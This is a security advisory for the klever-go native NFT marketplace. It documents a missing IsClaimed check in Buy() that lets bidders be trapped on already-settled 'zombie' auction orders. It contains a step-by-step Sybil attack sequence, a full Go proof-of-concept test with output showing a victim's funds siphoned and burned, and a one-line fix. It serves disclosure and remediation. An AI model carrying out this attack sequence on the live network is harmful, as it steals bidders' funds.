Location: core/kapp/market/market.go — Buy() (approx. L281–436)
Severity: High
The native marketplace enforces an IsClaimed guard in Claim (market.go:752), CancelOrder (market.go:1125), and orderEscrowAmount (market.go:251), but not in Buy.
Marketplace escrow is virtual: the market KApp account never custodies currency. A bid burns funds from the bidder (bidderAcc.SubFromBalance, ~L378), and refunds/payouts mint to the recipient (AddToBalance, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's CurrentBid being paid out exactly once.
A seller can settle a resting-bid auction early via the seller-accept branch of Claim (~L776) → executeBuyMarket (~L656). That path sets IsClaimed=true, delivers the NFT, pays the seller, and re-saves the order (SetMarketOrder, ~L726) — but, unlike every other settle path, it does not reset EndTime (contrast immediate-buy Buy ~L416 and CancelOrder ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with EndTime in the future and a stale CurrentBidder.
Because Buy has no IsClaimed guard, a new bidder can still Buy on that settled order (the bid guard at ~L317 only forces the new amount Y > CurrentBid X). The new bidder is debited Y; the prior bidder is refunded X (funded by the new bidder, not minted); the new bidder becomes CurrentBidder on an IsClaimed order and can then neither Claim (reverts on IsClaimed) nor CancelOrder (reverts on IsClaimed). Their funds are lost permanently.
Attack sequence (permissionless , anyone can create a sell order):
S) creates a resting-bid auction (Price=0, ReservePrice>0) for an NFT and self-bids X as bidder A (Sybil).S accepts A's bid early via Claim → NFT goes to A (= attacker, keeps it), S (= attacker) collects the owner payout, order marked IsClaimed=true but left "live".B bids Y > X on the still-live-looking auction via Buy. Buy refunds prior bidder A the amount X (AddToBalance, L349) and burns Y from B (SubFromBalance, L378).B is now CurrentBidder on a claimed order and can neither Claim nor CancelOrder — both revert on IsClaimed. B's Y is unrecoverable; X of it was siphoned to A; Y−X is destroyed.package market
import (
"testing"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core/kapp"
"github.com/klever-io/klever-go/core/process/kda/kdautils"
"github.com/klever-io/klever-go/data/block"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/data/transaction"
"github.com/klever-io/klever-go/kapps"
"github.com/klever-io/klever-go/kvm/mock/stub"
"github.com/stretchr/testify/require"
)
// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft
// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`
// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.
//
// Attack (attacker A == seller S, victim B):
// 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).
// 2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder,
// no settlement because Price==0).
// 3. S accepts the resting bid early via Claim's seller-accept branch (L776),
// which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,
// proceeds paid to S(=A). This settle path is the ONLY one that does NOT
// reset EndTime and does NOT delete the order -> the order becomes a live
// "zombie" (IsClaimed=true, EndTime in the future, still loadable).
// 4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed
// guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X
// (funded by B), and B becomes CurrentBidder on an already-claimed order.
// 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on
// IsClaimed). B's Y is unrecoverable; X of it is siphoned to A.
//
// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.
func TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {
const (
blockTime = int64(1000)
endTime = int64(1_001_000) // future relative to blockTime
reserve = int64(1_000_000) // R
bidX = int64(1_000_000) // A's resting bid (== reserve, >= reserve required)
bidY = int64(2_000_000) // B's bid on the zombie order (must be > X)
fundAttacker = int64(10_000_000)
fundVictim = int64(10_000_000)
)
klv := kdautils.KLVIdentifier
collectionID := []byte("ZOMBIE-COLL")
assetID := []byte("1")
marketplaceID := []byte("mp-zombie")
orderID := []byte("order-zombie")
attacker := defaultAddr // A == S (seller and first bidder)
victim := defaultOther // B
marketKApp, accCacher, forkController := createTestMarketKApp(t)
// Post-fork behaviour (guards on royalty overflow enabled); does not touch
// the missing-IsClaimed-guard path being tested.
forkController.FixMarketBuyOverflowValue = true
// --- Fund the two user accounts (Buy debits real balances) ---
attackerAcc, err := accCacher.LoadUser(attacker)
require.NoError(t, err)
require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))
require.NoError(t, accCacher.UpdateUser(attackerAcc))
victimAcc, err := accCacher.LoadUser(victim)
require.NoError(t, err)
require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))
require.NoError(t, accCacher.UpdateUser(victimAcc))
// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---
marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)
require.NoError(t, err)
require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{
ID: marketplaceID,
OwnerAddress: attacker,
Name: []byte("Zombie Market"),
ReferralAddress: attacker,
ReferralPercentage: 0, // keep accounting clean
}))
// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).
require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data")))
// Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and
// Sell L1003-1014: Auction has no Price>0 requirement).
order := &kapps.MarketOrderData{
ID: orderID,
MarketplaceID: marketplaceID,
MarketType: kapps.MarketOrderData_Auction,
OwnerAddress: attacker,
CollectionID: collectionID,
AssetID: assetID,
CurrencyID: klv,
Price: 0, // <-- makes bids rest instead of auto-settle
ReservePrice: reserve, // R
ReferralPercentage: 0,
StartTime: blockTime,
EndTime: endTime, // future
IsClaimed: false,
}
require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))
require.NoError(t, accCacher.UpdateKapp(marketKappAcc))
// --- Shared KApp context / controller wiring for all handler calls ---
receiptsStub := mock.NewReceiptsContextStub()
ctx := &mock.KAppContextStub{
ContractIDCalled: func() int { return 0 },
ReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub },
BlockCalled: func() *block.Block {
return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}}
},
TxNonceCalled: func() uint64 { return 1 },
}
// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.
asset := &kapps.KDAData{
OwnerAddress: attacker,
Royalties: &kapps.RoyaltiesData{
Address: attacker,
MarketPercentage: 0,
SplitRoyalties: make(map[string]*kapps.RoyaltySplitData),
},
}
controllerStub := &stub.KAppControllerStub{
GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },
GetKDAKAppCalled: func() kapp.KDAKapp {
return &stub.KDAKappStub{
GetKDACalled: func(_ []byte) (state.KAppAccountHandler, *kapps.KDAData, error) {
return nil, asset, nil
},
}
},
}
require.NoError(t, marketKApp.SetKAppController(controllerStub))
balance := func(addr []byte) int64 {
a, e := accCacher.LoadUser(addr)
require.NoError(t, e)
return a.GetBalance(klv, false)
}
// ============================================================
// STEP 1: A places a RESTING bid X via the real Buy handler.
// ============================================================
status, err := marketKApp.Buy(attacker, &transaction.BuyContract{
ID: orderID,
CurrencyID: klv,
Amount: bidX,
})
require.NoError(t, err, "resting bid should succeed")
require.Equal(t, transaction.Transaction_Ok, status)
_, restedOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err)
require.Equal(t, bidX, restedOrder.CurrentBid, "bid must REST (record CurrentBid), not settle")
require.Equal(t, attacker, restedOrder.CurrentBidder)
require.False(t, restedOrder.IsClaimed, "resting bid must not settle the order")
require.Equal(t, fundAttacker-bidX, balance(attacker), "A debited X on the resting bid")
// ============================================================
// STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept
// branch). This settles the order but leaves EndTime in the future
// and does NOT delete the order -> zombie order.
// ============================================================
status, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID})
require.NoError(t, err, "early seller-accept claim should succeed")
require.Equal(t, transaction.Transaction_Ok, status)
_, settledOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err, "order must remain LOADABLE after early claim (not deleted)")
require.True(t, settledOrder.IsClaimed, "order is now claimed/settled")
require.GreaterOrEqual(t, settledOrder.EndTime, blockTime,
"BUG: early-claim settle path leaves EndTime in the future (order looks live)")
require.Equal(t, endTime, settledOrder.EndTime, "EndTime was NOT reset by the settle path")
// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle.
require.Equal(t, fundAttacker, balance(attacker), "A recovered X as owner payout on settle")
// ============================================================
// STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y>X.
// Buy has NO IsClaimed guard -> this SUCCEEDS (the vulnerability).
// ============================================================
status, err = marketKApp.Buy(victim, &transaction.BuyContract{
ID: orderID,
CurrencyID: klv,
Amount: bidY,
})
require.NoError(t, err, "BUG: Buy accepts a bid on an already-claimed (settled) order")
require.Equal(t, transaction.Transaction_Ok, status,
"BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)")
require.Equal(t, fundVictim-bidY, balance(victim), "B debited Y")
require.Equal(t, fundAttacker+bidX, balance(attacker),
"A received a PHANTOM refund of X (funded by B) on the zombie order")
_, zombieOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err)
require.Equal(t, victim, zombieOrder.CurrentBidder, "B is now CurrentBidder on a claimed order")
require.Equal(t, bidY, zombieOrder.CurrentBid)
require.True(t, zombieOrder.IsClaimed, "order is STILL claimed - B is stuck")
// ============================================================
// HARM ASSERTION (a): B cannot Claim -> reverts on IsClaimed (market.go L752).
// ============================================================
status, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID})
require.Error(t, err, "HARM: B's Claim must revert (order already claimed)")
require.Equal(t, transaction.Transaction_ParameterInvalid, status,
"HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund")
// ============================================================
// HARM ASSERTION (b): B cannot CancelOrder -> reverts on IsClaimed (market.go L1125).
// ============================================================
status, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID})
require.Error(t, err, "HARM: B's CancelOrder must revert (order already claimed)")
require.Equal(t, transaction.Transaction_ParameterInvalid, status,
"HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds")
// ============================================================
// HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT
// and no recovery path; A is permanently up X.
// ============================================================
require.Equal(t, fundVictim-bidY, balance(victim),
"HARM: B is down Y (%d) with no NFT and no recoverable path", bidY)
require.Equal(t, fundAttacker+bidX, balance(attacker),
"HARM: A is up X (%d), siphoned from B", bidX)
// Confirm B never received the NFT (it was delivered to A at settle time).
victimFinal, err := accCacher.LoadUser(victim)
require.NoError(t, err)
_, nftErr := victimFinal.SubInternalKDA(collectionID, assetID)
require.Error(t, nftErr, "HARM: B holds no NFT for the funds it lost")
t.Logf("PROVEN: B lost %d KLV (balance %d -> %d), unrecoverable. A gained %d KLV (balance %d -> %d). "+
"Y-X = %d KLV destroyed/stranded.",
bidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX)
}
Executable Go test: core/kapp/market/poc_zombie_order_test.go — TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy
Run:
cd klever-go
GOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v
(Local Go 1.23.1 auto-fetches toolchain 1.25.7 per go.mod. Full market package suite passes no regressions.)
Output:
PROVEN: B lost 2000000 KLV (balance 10000000 -> 8000000), unrecoverable.
A gained 1000000 KLV (balance 10000000 -> 11000000). Y-X = 1000000 KLV destroyed/stranded.
--- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s)
PASS
Assertions proven (all using real market functions, harm-level not mechanism-level):
Price=0 auction → bid rests (CurrentBid=X, IsClaimed=false), no auto-settle.Claim → IsClaimed=true, EndTime still in the future, order still loadable (the zombie).Buy on the claimed order returns Transaction_Ok (the vulnerability no IsClaimed guard).Claim reverts Transaction_ParameterInvalid.CancelOrder reverts Transaction_ParameterInvalid.−Y, attacker +X, victim holds no NFT and has no recovery path.Y is burned with nothing received and no recovery path (Claim and CancelOrder both revert on IsClaimed).A via Sybil) keeps the NFT and harvests ≈X from each subsequent bidder. Repeatable across many bait orders.Y−X per victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation).EndTime-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable).Impact High × Likelihood Medium -> High.
Add an IsClaimed guard at the top of Buy, mirroring Claim (market.go:752) and CancelOrder (market.go:1125):
if marketOrder.IsClaimed {
return transaction.Transaction_ParameterInvalid, ErrMarketOrderAlreadyClaimed
}
Defense-in-depth (optional but recommended): in executeBuyMarket, reset EndTime/CurrentBid/CurrentBidder (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.
{
"cwe_ids": [
"CWE-841"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T21:24:03Z",
"nvd_published_at": null,
"severity": "HIGH"
}